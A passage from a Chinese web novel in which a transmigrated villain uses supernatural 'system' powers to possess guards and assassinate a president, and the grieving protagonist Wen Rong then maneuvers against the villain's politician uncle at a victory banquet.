林竞航下意识问:“是温绒吗?” 秘书一愣,震惊林竞航竟然猜中了。 “是不是?” “是,是的。” “我就知道!” 王斯辰敏锐望过去:“你知道什么?” “我……” 但王斯辰探究的眼神太明显,林竞航不得不躲开那种视线,“我……” 在末世生存太久,很少跟活人打交道,林竞航完全忘记了社交技巧,不知道这种时候该如何诓骗过去。 他被盯得头皮发麻,几乎是逃的,离开这个部署刺杀计划的地方。 林竞航走到阳台上,大口呼气。 忘记安排云来挡住阳光,热量在脸上蒸腾。 林竞航烦躁难耐,完全无法接受自己的失败。 一定要死。 周文栋今天必须死。 林竞航双眼被太阳照得赤红,完全沉浸入意外地偏执中:“我要操控周文栋身边的保镖。” 【兑换成功。】 机场全员戒备。 两步一警卫,里三层外三层包围总统休息室,而其余人,一手拿仪器,双眼仔仔细细在地上爬,试图寻找无法探测出来的微型炸弹。 “大哥,周围查完了,没有问题。” 林竞航听到声音,偏头嗯一声,看向休息室的门。 杀周文栋很简单,打开门,掏出枪,对准周文栋。 他摸了一把这个世界的落后手枪,估算自己二十米开外都能一下子打中周文栋的眉心。 脑袋中弹,必死。 到时候所有保镖都会摁住自己附身的人,随即自己退出这具身体,一切都神不知鬼不觉。 咔嚓 林竞航按照计划推开门,意料之外地看见温绒坐在周文栋旁边。 顿了下,理智稍微回笼。 因为秘书就说了,温绒跟周文栋在一起。 那……试试能不能…… 理智让林竞航看一眼周围,休息室里八个保镖,只有一枪的机会。 不行,杀周文栋要紧,等王斯辰当上总统,有很多办法处理温绒这个碍眼的东西。 林竞航想明白,果断伸手摸枪。 正在这时,一股强大的力量扼住他的手腕。 林竞航一愣,低头看见温绒面容严肃,双手死死摁在自己的右手上。 干什么! 他动了动手,试图推开温绒,然而不知道为什么,温绒像块难以撼动的铁,几乎把他凝固住。 那么细的胳臂怎么可能有这么大的力量。 电光火石间,林竞航想起赵泽阳说过,温绒力气很大。 温绒在系统里兑换了东西! 温绒:“来人摁住他!” 林竞航知道计划失败了。 操控的这具身体根本无法跟系统兑换的东西对抗,更何况八个保镖即将围上来。 没关系,还有很多办法。 他扯了扯嘴角,“走着瞧。”- 呼哈呼哈 温绒艰难跪下,四肢撑地,身体发抖。 “哥哥。” 他用力闭眼睛,在心里呼唤唯一让他感到心安的系统。 【没事了,没事的宿主,保镖手上已经没有蓝光,林竞航走了。】 “哥哥,我不怕死。” 【我明白的。】 “我不怕死。” 【嗯。】 “但我怕失去。” 【啊?】以为宿主只是在自我催眠,没想到竟然是自我剖析? 温绒听到保镖尖叫“你们干什么”的声音,皮鞋刮在地毯上,有摩擦的声音。 周文栋难以置信,说着“你跟了我很多年”,声音微颤,带着绝望。 这种所有细节放大的感觉,在被养父母送回的时候也存在过。 ——失去重要东西的感觉。 莱昂学长说,自己一直想跟这个世界建立联系。 在短暂的对话里,周文栋也是一条纽带了。 他在周文栋身上感受到了“父亲”。 这位“父亲”在危险的时候救他,安慰他。 “温绒,你没事吧?”周文栋伸手扶他。 温绒握紧拳头,因为林竞航的出现,一切恐惧转为喷薄而出的愤怒。 快想办法。 想啊,想个马上就能弄死林竞航的办法。 “快找医生,看看他怎么了。” 温绒深吸一口气,用力抓住周文栋的手,“我没事。” 咔嚓—— 有人开门进来,“总统,张秘的子弹取出来了,性命无忧。” 又有人来说:“外面排查完毕,基本安全,军队全数等在外头,您可以随时回到使馆。” 周文栋“嗯”一声,摆摆手,扶着温绒站起,“对不起,本来只想跟你说会儿话,却把你牵扯进这么可怕的事情里面。” “没有的,不是您的问题。” “我找军队的人送你回时野那边,到时候你跟他们一起回学校。现在也是公众人物了,身边还是要带着人,安全些。” “谢谢您的提醒。” “嗯。”周文栋摸出手机,“这件事闹得很大,稍等,我给周谢报个平安。” 是该报个平安的,周文栋才是周谢的父亲,周谢此时的心情比自己更焦急才对。 温绒抖着手倒了杯水强迫自己喝下。 手机滋滋震动,时野来了电话。 “你在哪?我在机场门口,我接你回去。” 温绒重重呼出口气,甚至不受控制地哼出哭腔。 “你怎么了?受伤了?我进来了,你还跟周总统在一起吗?艹——不知道我是谁吗,滚开。” 电话里传来另外一道声音,“对不起,现在任何人都不许进入。” 温绒连忙道,“别发脾气,我现在很安全,马上就出来。” “我没……好的,那我在休息室外面这条走廊等你,你过来……不是,你叫保镖护着你过来。” “嗯嗯,周总统给我安排好了的,你别担心。” “你别挂电话,我听着你那边的情况。” “就几分钟,我马上就出去了。” “不行,你别挂电话。” 温绒正要找个理由挂断电话,周文栋回来,笑笑,“我都听见了,小时野就是这样急急燥燥的性格。” “快去吧,别等会儿他把警卫打了。别以为他打不过,那小子拳头硬呢。” 温绒怪不好意思的,赔笑两声,着急提醒:“您以后外出一定要注意安全。” 说出口,又觉得可笑。 怎么注意,林竞航用积分兑换的那些手段防不胜防。 他的系统难道就没有任何良知吗? 怎么可以允许他拿系统的东西杀人。 “没关系,每隔几年总会出现点类似的状况。这次的事情连累你了,很对不起,我一定帮你找到爸爸妈妈。” 温绒哑然。 这是周文栋第三次还是第四次跟他道歉。 明明他才是陷入危险的那一个。 还为此内疚,一定要帮自己找爸妈。 即使温绒如今已经习惯了直起腰板,但还是忍不住鞠躬,“谢谢您。” “走吧,军队的人接管了,外面很安全。” 温绒跟着周文栋出门。 放眼望去,穿着军队服装的高大男人们守在走廊两侧。 他对军人有天然好感,到此刻才彻底放下心来, 终于过去了。 等回去,就提一提假扮林竞航要找的那个人的日程,同时也要考虑直接处理掉林竞航的情况。 周谢说“想保护人就要先杀死敌人”,温绒在校庆的时候以为这句话是一个挑战,现在,他发现这句话是一个道理。 或许周谢经历了很多次这种情况,所以他比自己更先践行这个道理。 杀死敌人 杀死敌人 温绒坚定这个信念,余光又见一抹蓝光——正前方,军队里一个人的右手摸向腰上手枪。 千钧一发间,他回头看向周总统。 冲上去,一米距离而已,却如何都跑不完。 距离仍然在不断拉长,温绒甚至看见周总统脸上缓慢出现的惊讶。 嘭—— 一声响,沉重的东西撞到温绒的眼镜。 咔。 眼镜摔下,温绒身体一重,被拽着跪到地上。 失去眼镜,眼前一片模糊,但周总统身后的蓝光是清晰的,那么近,就是守在门边的军人。 嘭—— 又是一声绝望的响,温绒被巨力向后一推,倒在地上。 枪,好厉害的武器。 隔着周总统都能感受到这样重锤似的力量,要是直接打在身上,一定会痛死过去。 周总统现在肯定很痛。 温绒被抓紧了,巨大的力气好像一条绳子,周总统在死亡的边界用力抓紧,生怕跌进去。 可是温绒再次回到无法控制身体的状态,叫不出声,帮不了忙。 时间每一秒都变得极长,温绒缓慢感受到手臂上的力量越来越轻。 好像将死之人的释然,从不甘心死去,到接受。 “外面的世界很好。” “但……” “也要记得回福利院看看。” 第97章 第 97 章 杀死敌人2 手术室外, 一切静得可怕。 温绒不知道那些人是怎么把周总统抬上的救护车,也不知道自己为什么坐在这里。 一切好像幻影,走马观花从从眼前略过。 砰—— 温绒浑身一抖, 窝囊地缩到地上,团成一团。 “你怎么了。” 谁拉了他。 温绒抖着舌头,张嘴,好几下才勉强发出声音,“有枪。” “不是枪。是东西掉在地上了,你看,碗掉在地上了。” 温绒望过去, 看见一只碗倾斜地倒在地上,几团饭落在旁边。 好像……是别人给他吃的。 温绒记不清了。 脑子一点都用不了。 黑暗的走廊寂静无声,他眼睛发酸, 猛一下哭出声。 “死的是我爸,你哭这么伤心干什么。” 温绒无端地生气,“有人死在你面前你不会哭吗?他、他刚刚还让我别怕……” “是么, 他心态还挺好。” 温绒语塞,眼泪不受控制地往下掉。 “外套给我。” “……” 周谢又一次重复:“把外套给我。” “……” “你外套上有我爸的血。” 温绒像被触发机关的机器人, 瞬间起身脱掉外套递给周谢。 周谢定了两秒,收下外套。 温绒在低落的情绪中不禁疑惑,周谢为什么如此镇定,直到手无意间碰到一块冰, 颤抖地,以为他的手是外套,很用力抓紧。 温绒终于明白,周谢只是在强装镇定。 “前年我爸去签什么条约,脖子上被假装记者的群众刺了一刀, 差点死了。” 语毕,周谢扯了扯嘴角,“幸好他命大,没死成,还想着买鱼竿去钓鱼。” “……” “这次他活不了了,医生只能拖延三个小时,现在已经过去了一半,要是一个半小时后时野还不能找到关系把莱昂从天上弄下来,那莱昂很可能再也下不来了。” 温绒原本沉浸在周文栋去世的事情上,听到这个消息,所有的注意力迅速回笼,眼睛蓦然瞪大,“为什么?” “现在不是哭的时候,有很多重要的事情要做。” 没有得到原因也没力气追问,温绒顺着问:“我能做什么。” “谁知道你能做什么。” 周谢深吸一口气,没再说话。 浅浅呼吸几下,他突然勾背,双手抱紧自己刚脱下的外套,喉咙里冒出痛苦的嘶吼。 温绒沉默地望着,不知道该如何安慰。 周谢现在跟他一样了,没有爸妈。 那种绝望的感觉,他感同身受- 一个半小时,漫长到足以开车在1区转两轮。 阳光照进车里时,时野抬手挡了下眼睛,胸口压着东西,艰难吩咐司机:“回一趟医院。” 司机前方掉头。 “等一下——前面停车。” 时野路边下车,到酒店里打包两份吃的出来,才回医院。 周谢跟温绒还等在手术室门口,周总统在里面假装活着。 时野看得出温绒的疲惫,但那双眼睛静静望着地板,没有睡下去。 时野走到他身边,轻轻拍一下肩膀,“困了吗?” 温绒迟钝抬头,眼睛周边一圈红,鼻子也红,看见他,嘴巴扁扁,眼泪吧嗒吧嗒掉。 时野给他擦掉眼泪,“吃点东西我送你回庄园睡觉。” 温绒急切摇头,问:“学长怎么样。” “……”时野说:“他没事,你别担心。” “你别骗我。” “……” 时野想,温绒为什么不信自己呢? 但,温绒是对的。 莱昂家一直都坚定站队周谢父亲,现在周谢父亲死了,王斯辰不可能放过这个拿捏莱昂家的好机会。 等这么多年终于有机会上位,甚至已经传出王斯辰今晚要在王家悄悄举行庆功宴的消息。 周谢父亲才刚死。 时野回忆起自己亲妈还没死时就让媒体到处宣传真爱的狗男女,心脏一阵绞痛。 他蹲下来,忍不住靠到温绒膝盖上寻求一点安慰,“现在没有人敢立马启动程序把莱昂弄下来。” “那……学长下不来了吗?” “我再想想办法。” 时野看向周谢,“你那边情况怎么样?” 周谢冷笑,“校长不想做得太难看,只是叫我毕业前跟林竞航交接好工作。” 意思是,林竞航要顶替周谢学生会会长的位置。 温绒不解,“只是更换总统,连学校都影响得到吗?” “因为这个总统是王斯辰。他等很久了,一直都想把联邦上上下下都换成他的人。” “……” 为了让莱昂学长成功下来,周谢又麻烦医生拖了两小时。 然而即使再努力,时间也在一分一秒地过去。 阳光透过窗户照到身上时,温绒只觉得寒冷,像一道催命符,催着手术室的大门打开,医生把周总统的尸体推出来。 一如时野当时对死亡的形容,一切都好不真实,有种周总统没死的幻觉萦绕在脑子里。 怎么就死了呢,明明下跟我说完话。 思绪混乱时,周谢叹了口气,“我要对外公布我父亲的死讯了,接下来我跟时野都会非常忙,你……” 这个你,说的是温绒。 周谢无奈看向时野,“时野,找私人飞机送他回学校。” 温绒下意识拒绝:“我不回去。” “我们现在没有时间照顾你。你在1区没权没势,又是唯一一个在我爸身边的外人,到时候光是记者都会烦死你,更不要说其他议员。” “你爸只是让我回福利院看看。” “没有人相信我爸只是让你回福利院看看,他们会努力让你嘴里吐出他们想要的东西。” 时野也说:“周谢说得对,你现在身份特殊,回学校还能安全点。” 温绒深思后,确认自己什么都做不了,于是点头答应。 时野安排得极快,几乎只是有一次平复心绪的十几分钟,就有车停在医院门口,等着送温绒去机场——另一个机场。 大门戒备森严,两边排布着装甲坦克,穿着军装的士兵在路上行走,温绒猜都不用猜时野为自己安排了什么,更是压下了隐隐想要回头的想法。 然而想到周谢要对外公布周总统的死讯,还是在下车时忍不住打开手机。 手机一打开,80%的程序都变成黑白色。弹出的消息也是黑白的,所有人都在为周文栋总统送别。 温绒感受到一丝安慰,好像痛苦被分担了一些。 然而下一秒,手机弹出新闻: 《谋杀周总统的三人已被军方控制》 一个恐怖的念头随着文字窜上温绒的天灵盖,他猛一下摔到地上,意识到比周总统死去更恐怖的事情——昨天死的不仅是周总统。 有廊桥上那些葬身火海的警卫,有被操控着摸枪的保镖、两个军人,还有机场排查人员…… 每个人,都很无辜。 啪嗒 他的手机因为惊吓甩在地上。 温绒喘出一口粗气,几乎是爬着去摸到的手机,着急到以跪着的姿态找到林竞航的联系方式,迅速拨打过去。 一、二、三,对方挂断。 温绒不死心,打第二次。 他下定决心,要是不接,他现在回去,去林竞航面前。 “喂——” 对面传来的声音舒服到好像才刚睡醒。 “大清早吵醒别人是不是不太好?” 温绒被他轻飘飘的语气点燃。 一个人怎么能如此厚脸皮,害死那么多人还好意思睡觉。 “你知不知道你害死了多少人!” “如果你不把保镖按住,那两个军人甚至都不用出现在机场。”林竞航打了个哈欠,“都是因为你啊。” “你昨天不止害死四个人,还有廊桥上的警卫,还有被这件事牵扯的所有人。” “那又怎么,我在末世天天看死人。” “那么怀念末世,你滚回去啊!” “温绒,你现在很生气吧?你输了,气得跳脚。”林竞航发出恶心的笑,“那怎么办,你只是个废物。” 温绒静了两秒,无奈道,“你已经疯了,你适应不了正常的世界。你根本不是在找人,你只是找个地方发疯而已。” “疯?这只是弱者对强者——” 温绒在他反驳之前挂掉电话。 一、二、三,电话重新回来。 温绒继续挂断。 语言无法攻击林竞航这种疯子,但行动可以。 不听他说话,不给他发表“胜利的感想”机会,他就不会这么开心了。 我也变得很坏了。 温绒扯了扯嘴角。 可这样的笑意稍众即逝。 林竞航再生气有什么用,谁在乎他—— 周总统都已经死了。 砰砰砰 温绒第一次尝试时野的办法,把拳头落在地上,流出血的那一刻,嘴边冒出难以抑制的啜泣。 一切本该很美好的,时野拿到世界冠军,自己拿到50w报酬,坐上飞机欣赏天上的风景,过不久学长回到学校…… 而且现在,周谢父亲死在他面前,学长也可能被滞留在天上。 温绒陡然产生刚遭遇爆炸时的身体反应,四肢无法自控,闭上眼,脑子里浮现学长被宣告死亡的画面,一阵颤栗。 杀死敌人。 杀死敌人。 那个在周总统死亡之前发出的宣言,再一次在温绒心里开花。 “哥哥。” 温绒冷静地呼唤系统。 【宿主,我在。】 “我不想走了。” 【……】 “可是我不知道我能做点什么。” 不等系统回答,温绒用力往脸上甩一巴掌,“我要赶紧想想我能做点什么,学长不能跟周总统一样死掉。” 【宿主……】 温绒的情绪值已经很久没有清空过了,此时的空白令系统不知道该如何安慰。 太阳那么烈,一滴一滴的汗从发尾跌在地上,周遭的人都不敢打扰到温绒,因为所有人都知道他这么痛苦的原因。 他们同样因为失去一位联邦领导人而痛苦。 “我知道了!” 不知道过了多久,温绒没有在心里跟系统说,而是激动地喊出了声。 系统面板上,温绒的情绪值瞬间满格。 【?】 “有一件事只有我才能做。” 他没有继续说,而是转头去给机场工作人员道歉,坐上来时的车,去往联邦□□- 时野在跟小舅舅见面时收到了机场的消息。 “怎么了?王斯辰又向恩斯特大法官施压了吗?” 时野摇头,回司机三个字:“听他的”。 “你现在什么态度?时常远想帮王斯辰,但我跟你外公更想听你的意见。” 联邦三权分立,军队独立。 时家这么多年来掌管联邦军权,到时常远这一代,几个进军队的兄弟不是能力不行就是英年早逝,时常远甚至都没有进入军队,还是跟研制军火的江家联姻,又生出时野,时家那群人才勉强让他成为时家掌权人,想让他以后把位置传给时野。 而时常远并不这么认为,他对自己的眼光迷之自信,选张婉菲选时竞,现在又选择站队王斯辰。 时野扯了扯嘴角,“我想等等。” “现在是最好的时机。” “等转机。” “什么转机?” “有人又要开始干大事了。” 从机场发生枪击开始到现在都沉着心的时野,终于露出笑,撑着半张脸,锋利的眉目满是柔情,像个怀春少男。 “?” “小舅舅你先帮我再去跑跑,尽量让莱昂下来。” “你呢?你不跑?使唤我?” “我要空出时间,随时等安排。” “啊?” 时野敲敲桌子,目光死死盯着手机屏幕,“他肯定会有需要我的时候。” 时间流转,万里无云的晴天也缀上几片云,被垂落的太阳晕染成血红色。 时野终于等到手机响。 温绒:[可不可以陪我去一个地方。]- “啪——” 楼上坠下的花盆四分五裂,吓得佣人们纷纷让开。 “赶紧收拾了,今晚风大,阳台上不要放花盆,要是砸到谁出了事故……”管家眼神一冷,什么后果不言而喻。 王家的佣人们纷纷动起来,搬花盆的搬花盆,布置地布置,忙得晕头转向。 在别墅外,还算清闲的几个司机抽着烟。 “诶,周总统一死,咱领导是不是就可以当总统了?” “死得好!终于轮到咱领导了,以后咱也跟着有面儿。” “嘘,这种话别乱说。” “怕什么,咱们这儿还有人告状吗?况且要是真有个外人听见,怕不是都得跟咱们一起说死得好。” “不说这个,你收到红包没,咱新少爷可开心了,在群里发了大红包。” “他当然开心了,咱领导当了总统,他就是总统的侄子,走出去不知道有多风光呢。” “先前那个什么赵少爷,还不许咱新少爷进夜店,现在可好,来求咱们新少爷了。” 几个人畅畅快快地聊着,天边的云彻底消散,夜幕降临,王家别墅亮起晃眼的灯。 有客人来了,司机仍在侃侃而谈,“那谁,我开车送领导去过他家,啧,小得很,还没咱这个别墅的一半大。” “还有那谁,老婆在外面养着小白脸,孩子都不知道是不是亲生的。” 说着说着,直到一辆黑色的suv停在门前。 “谁的车啊?没见过这款。” “这你就不知道了吧,白牌儿,军方的车。” “嘶——谁啊,这么大排场。” 咔嚓 车门打开,司机从驾驶座下车,绕半圈,打开后座的门。 一道身影跨出车门。 炫彩的灯把他的西装印成橙色,利落的剪裁勾勒挺拔的身姿,腰肢纤细,扭成一道微微弯曲的弧。 来人正对着大门,只留给他们一道起伏漂亮侧影,鼻梁细挺,下颚明晰。 司机忍不住感慨,给领导开车这么多年,还没见过气质这么好看的人。 好看到,他身后走出来的人,即使身高将近两米,都不那么显眼了。 王家别墅内的所有人,同时被定住,扭头看向进门的大美人,目光随着大美人的移动而偏移。 今晚这场庆功宴的主人,王斯辰同样穿着白色的西装走出来。 看见大美人时,优雅的脸上明显露出片刻愣然,而后悠悠一笑,走上前,向大美人身后的时野伸出手,“很荣幸你能来。” 目光却仍然落在温绒身上,难以自制地打量,而后缓慢道,“还带着……男朋友?” 温绒开口:“是朋友。” “原来是朋友。”王斯辰意味深长道,“你们一块儿来,我还以为网上传的是真的。” “您不招待其他客人吗?” 众人顿时惶恐,贫民区来的小孩真是不知好歹,跟你说话你还赶人。 王斯辰却不恼,“那小朋友想玩什么自己去玩儿吧。” 温绒不客气,“我进门的时候看到门口有辆车,我可以试试吗?” 王斯辰往门外瞧一眼,问:“你会开车吗?” “不会,但时野会,他教我。” “你还真是……”王斯辰无奈摇头,宠溺地朝着温绒笑,“去吧,能让你放松些也是好的。不过玩过了记得回来,我等你。” 众人更是惊讶,怎么回事,这个突然爆火的贫民不请自来,还强行要玩主人家的车,王斯辰竟然同意了,还这么开心?还要等他? 只有王斯辰身边的秘书了然,他领导此刻气死了。 好不容易骗来的小白兔竟然带着救命草,还一个劲朝外跑。 小白兔跟他的救命草走到车前时,秘书猛然一惊。 ——那是领导准备送给林竞航的跑车! 林竞航乐滋滋下楼时,就被告知自己的新车被温绒开跑了。 “去把车给老子开回来,温绒为什么会来?找人打一顿丢出去。” 吩咐的话恰好被进门的王斯辰听见,王斯辰面色一沉,“你要打谁?” 林竞航这才想起自己家小叔叔喜欢温绒的事,心中不爽,不理解小叔叔为什么会被美色迷惑。 “小叔,你别被他骗了。” “温绒是我请过来的,你别给我把他吓跑了。” “我……” 林竞航话没出口,外面陡然传来“嘭”地一声,有人匆匆跑进来,“少爷,你那车被温绒撞了。” 林竞航倒吸口气,王斯辰却急问:“他受伤了?” 又骂:“你们怎么招呼的他,车道上又障碍物不知道给他挪开吗?” “是……是撞路边树上了。” “赶紧叫医生过去看看他的情况。” “人没事,就是……就是车头坏了。” “我车坏了!”林竞航大惊。 “什么破车,质量有问题,赶紧给他换辆质量好的车。” 林竞航简直不敢相信这是自己小叔叔说出来的话。 来到这个世界他最欣赏的就是他小叔这个人,果断狠辣,有理想有能力,怎么现在跟个恋爱脑一样? 没几秒,秘书从外头进来,给王斯辰说:“温绒问您,您什么时候有时间。” “什么时间?” 王斯辰不应林竞航,而是扯嘴一笑,“让他再玩会儿,我现在没时间。” “收到。” 秘书出去了,司机也出去了,林竞航朝窗外望一眼,正好看见温绒跟时野走进来,所有人几乎第一时间围上去,热情地跟温绒说话。 “小叔,我知道你喜欢他,但你是不是太把他当回事儿了,他明显在拿捏你。” “不,他在躲我。”王斯辰轻笑,“他怕我对他做什么,才故意做这些事来让我讨厌。” “?” 什么鬼逻辑。 “看着他跟兔子一样担惊受怕,很有意思。” 林竞航:“……” □□里几个老头到场,王斯辰带他去应酬,林竞航也就短暂地把温绒放到脑后。 随后他想,现在一切都成定局,自家小叔肯定是要当总统的,周文栋也不可能活过来,温绒再怎么折腾也只是垂死挣扎,不用理会。 见完一轮位高权重的政府官员,王斯辰让他去跟年轻小辈们打交道,林竞航很乐意,因为现在他就是这群人里的头头,就连赵泽阳也要来给他端酒。 “等会儿结束林哥想去哪玩儿?兄弟最近认识几个漂亮妹妹……” 林竞航摆手,“别,我不玩。” 他在末世呆了很久,并不热衷于男女情事。 “哥是觉得无聊吧,那换个……”赵泽阳偏头看向温绒的方向。 这个林竞航更要拒绝了,看他小叔刚刚恋爱脑上头的样子,动了温绒,他小叔跟他急。 “这个不行,你也别想。” “不是温绒。”赵泽阳怎么可能把自己喜欢的人往林竞航手里推,下巴点点温绒身边的时野,“我说时野。你不觉得他很碍眼吗?他一来,所有人都去找他,就连□□那几个老头,见完你小叔也是第一个主动去找他说话,都不来找你。” “你才是王总统的侄子,他们不奉承你,这事儿说得过去么。” 林竞航也好奇了,“时野什么地位啊,那几个老头不去找他爹,偏偏找他。” “因为太有天赋,把他爹送上继承人之位的人。”赵泽阳说:“高傲得很,好像都没主动跟你说过话吧。” 说过,还动手了。 想到这件事林竞航眼底一暗,“确实要整一下他。” 他小叔都要上位当总统了,他还怕个时野? 林竞航端着高脚杯走向时野,正思考着等会儿要怎么整时野,温绒似乎察觉他的视线,迅速挡在时野面前。 那惶恐的模样,显然是怕他杀了时野。 林竞航开心极了,“放心,不会做你想的那种事。” 时野也拨开温绒,“你去旁边等我一下,我单独跟他说句话。” “你……你小心。” “嗯。” 林竞航嗤笑,又觉得杀周文栋真是一步好棋,现在温绒都不敢当着他的面狗叫了。 要是早这么听话多好,之前他都打算好好对待这个穿书同伴的。 “我知道廊桥上那颗炸弹是你弄的。” 时野的声音让林竞航的笑容僵在脸上。 随即林竞航想到系统的东西无懈可击,恢复镇定,“怎么,给我按个罪名能让我小叔当不成总统?” “能让你被执行枪决。” “噗嗤——你可不要乱说,我从来没弄过那东西。”林竞航不以为然。 “狙击手军方已经抓到了,那枚炸弹的放置人我也找到了,他们都供认周总统被刺杀这件事是你策划的。” “但杀周总统的是军方的人,我没记错的话,你家好像就是管军方。” “那几个人的口供不重要,我明天把狙击手跟证据交到法院,你跑不掉。谋杀总统,不管成没成功都是死刑,你不知道吗?” “那你去试试。” 时野不在多说,转身朝温绒招招手。 温绒过来,“说完了?” “嗯。” 温绒指向别墅后面,“这边人太多了,我想去那边人少的地方待会儿。” “嗯,走。” 林竞航想,狙击手跟炸弹的放置人一点都不重要,就算他们坦白,自己也可以用系统改变剧情。 真是自以为是的天龙人。 正暗暗嘲笑着,秘书过来,“少爷,领导让我跟你说,温绒想当弗罗里曼学院的学生会会长……” 林竞航打断他:“你说什么?” 秘书看着林竞航的脸色小声解释:“温绒现在在群众中声望高,以后从政的话会是领导的助力,领导让我问你有没有什么喜欢的礼物,什么都行,他买给你。会长的位置就让给温绒。” 林竞航陡然暴怒:“凭什么!我才是他侄子。” “确实是让温绒当学生会会长的收益更大一些,现在没什么人认识你,你在学校里也没什么根基。” “我一去学校就能培养起来。” “这方面还是个未知数,但温绒是实打实的……” 不等秘书说完,林竞航一把推开他想要去找王斯辰。 虽然林竞航很欣赏王斯辰这个人,但他绝对无法忍受这个人恋爱脑上头把属于自己的东西给他的小情人讨赏。 走几步,没在人群中看见王斯辰,愤怒无处可发,只无意间瞥见走进别墅后面的背影。 温绒—— 温绒—— 这个人活着就是麻烦。 昨天要不是他,周总统还会死得早一点。 要不是他,赵泽阳也能拿到冠军。 林竞航的视线逐渐幽深,生出之前从来没用过的想法。 他想温绒死。 阻挡他主宰这个世界的人都要死。 而在别墅的上方,几个没被佣人收走的花盆给予了办法。 “系统,我要兑换一阵风。” 【兑换成功。】 系统的声音落下,一阵诡异的风自夜色中盘旋而来,别墅阳台上的花瓶蠢蠢欲动。 啪 啪 啪 花盆纷纷落下,吸引众人的注意力。 随即响起女人惊恐的尖叫。 林竞航大口吐出气,终于畅快转身,想要下去看看自己设计的华丽剧幕。 走下楼梯时,由于太过愉悦,他开始幻想自己风光就任弗罗里曼学院的学生会会长,在万众瞩目中,成为贵族学院里的神。 ——再也没有温绒来碍事。 哒哒哒,急促的脚步声从远处传来,秘书一个趔趄,差点摔倒。 林竞航被他的模样逗笑,“别这么急,发生什么事了?” “你小叔……” “能不能镇定点?你不是在我小叔身边工作很多年了么。” 秘书喉结用力一滚,再次开口:“你小叔,被四楼掉下来的花盆砸到了。” 与此同时,幽深黑暗的巷子里,一个消瘦的身影缓慢走出。 视线沉默地穿越人海,与林竞航对上。 滋—— 林竞航手机作响。 [没了王斯辰,你在这个世界算老几。] 第98章 第 98 章 学长回来啦 “小谢啊, 不是叔叔不帮你,现在情况复杂,而且那火箭才刚上去, 哪有马上回来的道理。” 周谢压低声音:“我知道您的难处,但莱昂是最有可能带来科技进步的人,失去他将会是联邦的损失。” “他这么重要,领导们不会不管他的。你父亲该办丧事了吧,还是先忙你父亲的事吧,别操心政府的安排了。” 周谢在夜色中无言几秒,正准备离开去下一位领导那边, 手机骤然作响。 时野:[王斯辰被四楼掉下来的花盆砸伤,90%概率死亡。] 他放下手机,冷漠望向对面。 对方被他突然改变的眼神看得有些心虚, 装着一副热心模样问:“小谢,自己开车来的?你现在这状态不安全,伯父派车送你。” 周谢:“……” 一、二、三。 滋—— 对方的手机作响。 周谢缓慢开口:“你先看消息, 看完我们再谈。” 父亲说得对,温绒确实是天生的领导者, 所有人又一次跟着他的节奏走。 这个节骨眼上,根本不可能釜底抽薪。 但温绒做到了- 联邦调查局审讯室,四面灰色的墙面吸收光芒,吊灯的微弱光芒照在温绒脸上。 他的对面, 是两名穿着制服的调查人员。 可能是温绒的长相太过乖巧,可能是温绒给大众的印象很好,也可能是除了意外再也找不到其他理由来说明王斯辰被自家花盆砸伤这件事,两位调查人员对温绒的态度极好,为了让他放松, 还到领导办公室里摸了条昂贵的咖啡液。 “喝点,会舒服些。”一个说。 另一个说:“小朋友,说一下,你跟王斯辰议员在那边干什么。” 温绒也受了伤,额头的伤口被临时处理过,贴着纱布,只是血流还没彻底止住,坐在这里的半个小时,纱布上浸出红色。 他诚恳地望着两名调查人员,“事情比较复杂,我可以从头开始说吗?” “可以可以,你慢慢说。” “昨天,我前往机场准备回学校。在候机室时,收到周总统秘书的邀请,去跟周总统见一面。” “周总统询问我想不想找到父母。我当时很感谢他,也不太礼貌地请求他接济我长大的福利院。” “然后就出现了机场门口的枪击事件。” “周总统怕我遇到危险,正巧也跟我去同一个地方,他邀请乘坐他的私人飞机。” “后面廊桥上发生的事我相信你们比我更清楚。” “周总统死了,没有人帮我寻找父母,也没有人接济福利院了。我认真思考后,去了一趟□□,希望有人能帮帮我。” “周谢为我提供了建议,让我去找曾在周总统身边负责民生管理的刘兆海先生。运气好的是我到□□时见到了他,可他说目前工作很忙,无暇顾及我的事。” “那时候,王斯辰议员出现了。” “他主动找我说话,还要帮我找父母,接济福利院,要求是晚上我需要参加他今晚举办的宴会。” “他的眼神很暧昧,让我有些害怕。” “所以晚上我就带上时野一块过去。为了不跟王斯辰议员有过多的接触,我故意弄坏王斯辰侄子的车,也故意拉着时野到人少的地方……但王斯辰议员还是支开了时野。” “在巷子里,他说他可以帮助我,但前提是我必须当他的情人。” 两个调查员露出“吃到瓜了”的震惊表情。 温绒解释,“我其实……比较想跟一位温柔的女孩子组建家庭,再有一双儿女。我没有父母,我很渴望完整的家。” 调查人员“嗯嗯”点头,很能理解温绒的想法。 “为了拒绝王斯辰议员,我提了很多奇怪的要求,比如我要当学生会会长。” “王斯辰议员竟然同意了。” 调查人员再次“嗯嗯”点头,哄美人的时候,就是天上的星星也能摘下来,更何况王斯辰议员是铁树开花,老房子着火,情窦初开…… “他吓到我了。” “啧啧”,调查人员直摇头,感慨王斯辰议员的失败。 “我怎么可能当学生会会长?我根本不懂怎么管理学校。而且我是学数学的,许秋老师还让我第三学期到她的研究基地实习。” “当时我就觉得,我逃不掉了,王斯辰议员坚定地对我图谋不轨。” “对对。” 两名调查人员吃完酣畅淋漓的瓜,既震惊,又不意外。 震惊是因为王斯辰议员单身四十年,竟对一个十八岁的小男孩下手。 不意外,是因为这个小男孩是温绒,这样面对面坐着,很难不被温绒的脸吸引,确实漂亮,还很乖。 “所以我不敢再听他说话,掉头就想跑。还没开始,额头忽然被什么东西砸到,特别疼。”温绒指着自己的额头说。 调查人员:“除此之外当时还有什么其他的动静吗?” “没了,就听到砰砰砰的声音。我再回头,王斯辰议员就倒在血泊里。” “如果你们不说楼上的花盆砸了下来,我都不知道怎么回事。” “因为巷子里很暗,什么都看不清。” ——林竞航也看不清。 四个小时前。 太阳灼得眼睛疼,温绒站在□□停车场门口,强硬地盯着看了会儿,眼角泛起泪光。 【宿主,真的可以吗?你都在这里等二十分钟了,再等下去要中暑了。】 “嗯。” 【要不还是直接上去找王斯辰吧。】 “不行。” 【为什么?他很喜欢你,肯定会见你的。】 “我跟时野他们关系好,这个敏感的时间点去找他,他肯定怀疑我是周谢派去的。” 【你站在这里他也会怀疑的。】 “所以我在消除他的疑虑。” “我小时候解数学题,跟别人得出不一样答案的时候,只相信自己是对的,因为那是我一步一步计算出来的。” “人总会相信自己推断出来的东西,尽管那是错的。” “我要王斯辰推断出,我真不是来找他的。” 